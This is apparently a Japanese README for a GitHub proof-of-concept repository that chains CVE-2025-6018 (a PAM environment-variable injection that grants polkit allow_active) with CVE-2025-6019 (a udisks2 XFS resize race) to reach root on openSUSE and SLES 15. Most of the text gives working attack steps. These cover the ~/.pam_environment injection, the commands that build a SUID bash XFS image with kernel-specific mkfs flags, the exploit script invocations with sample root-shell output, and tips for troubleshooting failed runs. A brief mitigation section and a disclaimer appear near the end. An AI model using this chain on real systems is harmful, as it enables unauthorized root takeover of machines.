
CVE-2025-6018 CVE-2025-6019 PoC Exploit - openSUSE/SUSE Linux Enterprise 15 におけるローカル権限昇格 - PAMバイパス + udisks2 XFS競合状態のLPEによるroot権限取得
CVE-2025-6018 および CVE-2025-6019 に対する動作するPoC/エクスプロイト - openSUSE Leap 15.x および SUSE Linux Enterprise 15.x 上で、非特権ユーザーから root への特権昇格
| CVE ID | 脆弱性 | 影響 |
|---|---|---|
| CVE-2025-6018 | PAM環境変数インジェクション | allow_active polkit ステータスへのバイパス |
| CVE-2025-6019 | udisks2/libblockdev XFS リサイズの競合状態 | Root シェル |
非特権SSHユーザー → [CVE-2025-6018] → allow_active → [CVE-2025-6019] → ROOT
# Check vulnerability
./exploit.sh --check
# Setup PAM bypass (CVE-2025-6018)
./exploit.sh --setup
# Reconnect SSH, then: su - $USER
# Exploit (CVE-2025-6019)
./exploit.sh --exploit /tmp/xfs.img
# Result: ROOT SHELL
uid=1000(user) gid=1000(user) euid=0(root)
git clone https://github.com/DesertDemons/CVE-2025-6018-6019.git
cd CVE-2025-6018-6019
chmod +x *.sh
⚠️ 注: openSUSE Leap 15.6 は 2026年4月30日 にサポート終了 (EOL) を迎えます。この日以降、セキュリティパッチはリリースされません。ユーザーは Leap 16.0 または拡張サポート付きの SLES に移行してください。
user_readenv=1allow_active: yes./exploit.sh --check
./exploit.sh --setup
# Then: exit SSH, reconnect, run: su - $USER
./exploit.sh --exploit /tmp/xfs.img
./exploit.sh --auto /tmp/xfs.img
./exploit.sh --create-image
攻撃側マシンで root として実行:
⚠️ 注意: 被害者の
/usr/bin/bashバイナリを必ず使用してください。ローカルのものは使用しないでください。異なるディストリビューション (Kali, Arch, Ubuntu など) の bash バイナリは、glibc/共有ライブラリのABIの不一致によりターゲット上で失敗します。たとえ同じ x86_64 アーキテクチャでも同様です。
スクリプトは xfsprogs のバージョンを自動検出し、正しいフラグを適用します:
# Get victim's bash first
scp user@target:/usr/bin/bash /tmp/victim_bash
# Create image (auto-detects safe mkfs flags)
sudo ./create_image.sh /tmp/victim_bash xfs.img
# For SUSE 15 SP1-SP4 targets (kernel < 5.14), use compatibility mode:
sudo ./create_image.sh --compat /tmp/victim_bash xfs.img
sudo su -
# 1. Get victim's bash binary
scp user@target:/usr/bin/bash /tmp/bash
# 2. Create 300MB XFS image with safe flags
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
# 3. Mount with SUID support
mkdir -p /tmp/mnt
mount -o loop,suid xfs.img /tmp/mnt
# 4. Copy victim's bash and set SUID bit
cp /tmp/bash /tmp/mnt/xpl
chmod 4755 /tmp/mnt/xpl
chown root:root /tmp/mnt/xpl
ls -la /tmp/mnt/xpl # MUST show: -rwsr-xr-x
# 5. Unmount and transfer
umount /tmp/mnt
scp xfs.img user@target:/tmp/
XFSイメージは、ターゲットのカーネルと互換性のあるフラグでフォーマットする必要があります。新しいバージョンの xfsprogs は、デフォルトでオンになっているオン�isk機能を有効にし、古いSUSEカーネルが読み取れないため、udisks2のリサイズマウント中に wrong fs type, bad superblock エラーが発生します。
| ターゲット | カーネル | mkfs.xfs コマンド |
|---|---|---|
| SUSE 15 SP5-SP6 | 5.14 / 6.4 | mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img |
| SUSE 15 SP1-SP4 | 4.12 - 5.3 | mkfs.xfs -f -m crc=0,reflink=0 xfs.img |
理由: exchange および parent はカーネル6.10以降の機能で(xfsprogs 6.xではデフォルトでオン)、bigtime、inobtcount、nrext64 はカーネル5.10以降の機能です。SP1-SP4の「compat」コマンド(-m crc=0,reflink=0)は、すべての最新機能を無効にしたV4 XFSフォーマットを作成し、すべてのSUSE 15 SPで動作します。
脆弱性: PAMの pam_env モジュールは user_readenv=1(SUSEではデフォルト)で ~/.pam_environment を読み取り、環境変数のインジェクションを許可します。
エクスプロイト: XDG_SEAT=seat0 および XDG_VTNR=1 を設定して systemd-logind を騙し、allow_active polkit 特権を付与させます。
# ~/.pam_environment
XDG_SEAT=seat0
XDG_VTNR=1
脆弱性: udisks2 を介して XFS ファイルシステムをリサイズする際、libblockdev はファイルシステムを nosuid フラグなしで 一時的にマウントします。
エクスプロイト:
./exploit.sh --check
出力:
[+] pam_env.so found in PAM configuration
[+] pam_systemd.so found - escalation vector available
[+] Target OS is vulnerable (openSUSE/SLES)
[-] allow_active status: NO
./exploit.sh --setup
exit
ssh user@target
su - $USER
./exploit.sh --check
出力:
[+] allow_active status: YES
You have allow_active privileges!
# On attacker:
scp xfs.img user@target:/tmp/
./exploit.sh --exploit /tmp/xfs.img
出力:
[+] Loop device created: /dev/loop0
[+] Loop device verified as XFS
[*] Starting race condition loop...
[*] Triggering XFS resize on loop0...
=== ROOT SHELL OBTAINED ===
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
root@target#
# Disable user_readenv in PAM
sed -i 's/user_readenv=1/user_readenv=0/g' /etc/pam.d/common-auth
# Or restrict udisks2 polkit policy
# Change allow_active from "yes" to "auth_admin"
このツールは許可されたセキュリティテストおよび教育目的のみに使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対して一切の責任を負いません。
CVE-2025-6018 CVE-2025-6019 PoC 概念実証 エクスプロイト 特権昇格 LPE ローカル特権昇格 Root openSUSE SUSE SLES PAM pam_env udisks2 libblockdev
⭐ このリポジトリが役に立ったらスターをお願いします! ⭐
| 問題 | 原因 | 解決策 |
|---|
allow_active: NO | PAMバイパスが有効でない | --setup を実行し、SSHを終了して再接続し、su - $USER を実行 |
Image is not XFS | ファイルシステムのフォーマットが間違っている | mkfs.xfs を使用(mkfs.ext4 ではない) |
SUID not working | パーミッションが設定されていない | 攻撃側マシンで -rwsr-xr-x パーミッションを確認 |
Race condition missed | タイミングの問題 | エクスプロイトを再実行(通常1~3回で成功) |
SUIDバイナリがセグメンテーションフォールトまたは GLIBC_x.xx not found エラー | 異なるディストリビューションの bash バイナリ(glibc/ABIの不一致) | ローカルの bash ではなく、scp で被害者の /usr/bin/bash バイナリを使用 |
Resize output: Error resizing filesystem on /dev/loopN: Failed to mount '/dev/loopN' before resizing it: wrong fs type, bad option, bad superblock on /dev/loopN, missing codepage or helper program, or other error | XFSイメージがターゲットカーネルで読み取れない機能でフォーマットされている(xfsprogsバージョンの不一致) | SP5/SP6の場合は mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img、SP1-SP4の場合は mkfs.xfs -f -m crc=0,reflink=0 xfs.img でイメージを作成 |
XFS競合状態セキュリティ脆弱性ペネトレーションテスト